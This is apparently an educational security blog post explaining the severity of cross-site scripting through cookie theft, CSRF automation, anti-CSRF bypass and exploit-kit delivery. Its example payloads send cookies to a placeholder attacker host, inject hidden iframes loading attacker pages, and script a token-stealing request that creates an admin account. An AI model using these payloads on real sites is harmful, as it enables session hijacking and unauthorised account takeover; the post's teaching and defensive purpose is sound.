Rewrite: Justin Fimlaid
Original Author: Hunter Gregal
Cross-site scripting, or otherwise known as XSS, is the most common web application vulnerability on the internet. I have found this to be true through both data research and personal experience during penetration testing engagements. What is XSS? Simply put XSS is a vulnerability where a malicious user can insert script-code into an application to later have another user unknowingly execute it. All too often web application developers will overlook sanitizing user input whether throughout the entire application or a single parameter. In my experience some common spots for XSS vulnerabilities to occur are in comments, account names, or titles for pages/posts. Unfortunately, XSS is sometimes seen as a less-than-severe vulnerability. I’m writing this blog to explain how and why XSS is one of the most severe vulnerabilities an application can have.
XSS is bad. Let’s clear the air now. But why is XSS so bad? Is forcing annoying pop-up alerts on unsuspecting users truly that big of a deal? The simple answer is yes; any time a user can create code that is run by another user there should be alarms going off and administrators’ jaws dropping. Let’s go beyond alert(‘Pwn3d!’); and look at some of the severe consequences XSS can lead to.
Cookie Stealing / Session Hijacking
Session hijacking through stealing cookies is one of the most popular and easy ways that attackers will abuse a XSS vulnerability. Consider the following:
An attacker discovers that the comments on a website’s homepage are not sanitized and allow for code to be injected into the page. This is persistent XSS because every time someone views the homepage all of the comments are shown and thus the injected code will run on each load. The attacker takes advantage of this and inserts some code along the lines of:
<script>// <![CDATA[ document.write('<img src="http://AttackServer.com/stealer.php?cookie="+escape(document.cookie)>'); // ]]></script>
What happens now is that every user who visits the homepage will try to load this “image” and in fact send their cookies for the site to the attacker.
An administrator for the site logs in (they eventually will) and is taken to the homepage. The attacker now has the administrator’s cookies, including the session cookie, and can successfully use this cookie to login to the site as the administrator.
How can this be prevented? Well for one, sanitizing the comment input to block/escape the use of dangerous characters such as < >. Secondly, setting the “httponly” flag on session cookies will prevent JavaScript from reading the sensitive cookie.
Cross Site Request Forgery (CSRF) Automation
For this attack the target website must also be vulnerable to Cross Site Request Forgery (CSRF) which is quite common as well. A site is vulnerable to CSRF if one user can make requests on-behalf of another user with or without their knowledge. An attacker can leverage XSS to greatly enhance the impact of a CSRF vulnerability.
Consider an attacker is targeting the same site as before with the vulnerable comments on the homepage. Only this time they are aware that to add administrator accounts to the site an authenticated administrator simply makes the POST request below:
Request
POST /admin/addUser.php HTTP/1.1 Host: vulnerablesite User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D Connection: close user=Jim&pass=changeme&admin=true
With this knowledge an attacker can build a page that, when an authenticated administrator visits it, results in this request being sent without the administrator’s knowledge. This occurs because when a request is made by a client to a domain, all cookies for that domain will be sent by the browser automatically…including session cookies. The attacker creates a page at http://AttackerServer/csrf.html using the code below:
<iframe style="display: none;" name="send"></iframe>
Unfortunately, this requires the attacker to trick an administrator into navigating to this malicious page. But thanks to the XSS vulnerability on the homepage comments, the attacker can place this code into the comments to force every user who visits the page to try and make this request:
<script>// <![CDATA[ document.write('<iframe style="display:none" src="http://AttackerServer/csrf.html"></iframe>'); // ]]></script>
Thanks to XSS, a CSRF attack that would have required social engineering has been virtually automated.
To prevent this attack, the CSRF vulnerability must be fixed. A good way to do this is to add anti-CSRF tokens to each request. But even with this, XSS can still be leverage to bypass the anti-CSRF.
Anti-CSRF Bypass Using XSS
Sophisticated attackers know the power of XSS vulnerabilities, and will use it to its full advantage. One not-so-well-known technique for bypassing CSRF protection measures relies on a XSS vulnerability. Imagine our attacker is targeting the same site as above and attempting to not only perform CSRF, but also automate it as before. Only this time the web application has updated its security and requires every request to an admin action page to require a unique X-CSRF-Token set as a header. In most situations this security feature will halt any CSRF attempt; but not in the case of persistent XSS vulnerabilities that allow an attacker to embed code with no size limit — like in the case of unrestricted comments!
This attack is multi-staged in that in order to send the crafted request to force an authenticated administrator to add a new user the X-CSRF-Token must first be obtained. Often X-CSRF-Tokens are generated and supplied to a user via a hidden element in the HTML response of the page BEFORE the action request. In this case it would be supplied to an authenticated admin on the http://vulnerablesite/admin/userControlPanel.php page response so that it can be passed as cookie on the next request to http://vulnerablesite/admin/addUser.php. From an attacker’s view this means having to make two requests on behalf of the administrator…not just one. The first request to retrieve the X-CSRF-Token and the second request to submit the action using the obtained X-CSRF-Token. Fortunately for most of the internet, Same-Origin Policy prevents JavaScript from doing just that. But, the same-origin policy only applies to requests made from another domain. XSS allows the request to come from the same domain thus bypassing same-origin policy.
The Chain of Requests to Forge:
Request A
POST /admin/userControlPanel.php HTTP/1.1 Host: vulnerablesite User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D Connection: close
Response A
Request B
POST /admin/addUser.php HTTP/1.1 Host: vulnerablesite User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token: TnVIYXJib3JTZWN1cml0eTpEX0t1ZG9zVG9Zb3VGb3JEZWNvZGluZ1RoaXM%3D Cookie: session_id=TnVIYXJib3JTZWNSb2NrcyE%3D Connection: close user=hacker&pass=myPassword&admin=true
Attack w/ Proof-Of-Concept Code
Our attacker embeds the following code into the XSS vulnerable comment box on the homepage (remember, this implies that the comment box allows enough characters)
<script>// <![CDATA[ data = "user=hacker&pass=myPassword&admin=true; function requestA() { xhr = new XMLHttpRequest(); xhr.open("GET", "/admin/userControlPanel.php", true); xhr.onreadystatechange = function () { if (xhr.readyState == 4 && xhr.status == 200) { var src = xhr.responseText; p = /name=\"csrf-token\"\ content=\"(.*)(?=\")/; var token = src.match(p)[1]; requestB(token); } } xhr.send(); } function requestB(token) { xhrb = new XMLHttpRequest(); xhrb.open("POST", "/admin/addUser.php", true); xhrb.setRequestHeader("X-CSRF-Token", token); xhrb.setRequestHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); xhrb.setRequestHeader("Content-length", data.length); xhrb.setRequestHeader("Connection", "close"); xhrb.send(data); } RequestA(); // ]]></script>
With this script embedded on the homepage it will run once the page is loaded. In the cases of an authenticated administrator this script will bypass Same-Origin policy and carry-out the CSRF exploit via XSS. The RequestA function makes a request to the UserControlPanel page and uses regex to parse out the returned X-CSRF-Token in the response. Using this token passed to function RequestB, a request is crafted using the obtained X-CSRF-Token embedded in the header to successfully submit the malicious request. The result: a fully automated CSRF exploit that bypasses Same-Origin by leveraging XSS.
This attack requires many different cases to work: inside knowledge of the request format, a CSRF vulnerability, and a XSS vulnerability allowing large scripts to be embedded. However, I have personally seen this attack work due to how common these types of vulnerabilities are. It should also be noted that this type of attack can be highly customized and optimized to be catered to different scenarios. Some attackers may obfuscate and shrink the attack code, others might split it up into different functions in different XSS locations, some may even leverage XSS on another page in the domain and call the script as needed. This alone should give one the idea of just how versatile and powerful a XSS vulnerability is.
Browser Exploitation and OS Remote Code Execution
I will finish up explaining the dangers of XSS vulnerabilities by focusing on some of the most malicious and real-world ways that attackers are taking full advantage of XSS. Botnets such as Feodo, GameOver Zeus, Palevo, Andromeda, variants and more dominate the internet. Tens of thousands of devices find themselves victim to malware running rampant around the web. But how is this malware propagating so immensely? Well there are many ways that malware spreads, many of which easily constitute a blog post in themselves; but what if I said one way relies implicitly on XSS?
In “the-wild”, or on the internet as we know it, botnets take advantage of XSS vulnerabilities by the use of Exploit Kits. Exploit Kits are generally extremely expensive software bundles created by hackers and sold on the black-markets. These packages contain various 0-day unknown exploits designed to exploit web-browsers to gain access to a victim’s Operating System. XSS comes into play in that often times Exploit Kits will carry out their attack by being embedded into website pages through XSS. In this way, unsuspecting visitors will be attacked by the Exploit Kit without ever knowing what happened. An example of what an Exploit Kit XSS spreader looks like:
document.write('<iframe style="display: none;" src="http://EXPLOITKITSERVER/exploit.js" width="300" height="150"></iframe>');
Other ways browser exploitation can occur are through the use of open-source tools such as the BeeF Framework which is essentially an open-source exploit kit. Using similar techniques as an Exploit Kit spreader, the BeeF Framework allows an attacker to hijack a victim’s web-browser for the duration that a tab is opened simply by taking advantage of XSS to embed a call to the JavaScript “BeeF Hook”. Additionally the BeeF Framework can be automated and expanded on by attackers to more closely act as an effective means of leveraging XSS.
Conclusion / TL;DR
Cross-site scripting (XSS) is bad. It’s bad for developers, it’s bad for the users of a web application, it’s bad for network administrators; in fact, the only people that XSS is not bad for are malicious attackers and those lucky enough to get paid to discover vulnerabilities. XSS goes far beyond just messing with some unsuspecting clients. XSS is a prime ingredient in any sophisticated attack and can be leveraged to perform cookie stealing and session hijacking, automated cross site request forgery (CSRF), same-origin policy bypass, X-CSRF tokens bypass, and even complete browser exploitation and Operating System remote code execution. Basically what I’m saying is that if alert(‘Pwn3d!’) doesn’t strike fear into you, it should.
cool!